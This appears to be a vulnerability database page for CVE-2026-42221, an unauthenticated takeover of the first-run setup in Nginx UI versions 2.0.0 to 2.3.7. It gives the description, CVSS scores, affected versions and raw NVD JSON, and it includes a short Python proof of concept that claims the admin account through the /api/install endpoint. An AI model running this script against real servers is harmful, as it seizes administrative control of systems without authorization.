Security Vulnerability Report
中文
CVE-2026-42221 CVSS 8.1 HIGH

CVE-2026-42221

Published: 2026-05-04 21:16:32
Last Modified: 2026-05-06 17:17:57

Description

Nginx UI is a web user interface for the Nginx web server. From version 2.0.0 to before version 2.3.8, an unauthenticated network attacker can claim the initial administrator account on a fresh nginx-ui instance during the first-run setup window. The public /api/install endpoint is reachable without authentication, and the request-encryption flow only protects payload confidentiality in transit; it does not authenticate who is allowed to perform installation. A remote attacker who reaches the service before the legitimate operator can set the admin email, username, and password, causing permanent initial-instance takeover. This issue has been patched in version 2.3.8.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* - VULNERABLE
Nginx UI >= 2.0.0, < 2.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable Nginx UI instance target_url = "http://<target-ip>:<port>/api/install" # Payload to claim the initial admin account # Note: Depending on the specific version, the payload might need to be encrypted # as per the client-side logic, but the endpoint itself lacks auth checks. payload = { "email": "[email protected]", "username": "hacker_admin", "password": "P@ssw0rd123!" } try: # Sending the POST request to the installation endpoint response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Admin account created.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42221", "sourceIdentifier": "[email protected]", "published": "2026-05-04T21:16:32.023", "lastModified": "2026-05-06T17:17:57.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. From version 2.0.0 to before version 2.3.8, an unauthenticated network attacker can claim the initial administrator account on a fresh nginx-ui instance during the first-run setup window. The public /api/install endpoint is reachable without authentication, and the request-encryption flow only protects payload confidentiality in transit; it does not authenticate who is allowed to perform installation. A remote attacker who reaches the service before the legitimate operator can set the admin email, username, and password, causing permanent initial-instance takeover. This issue has been patched in version 2.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.3.8", "matchCriteriaId": "623A6AFE-E1C3-4D21-9465-A33CB945AF6F"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h27v-ph7w-m9fp", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h27v-ph7w-m9fp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}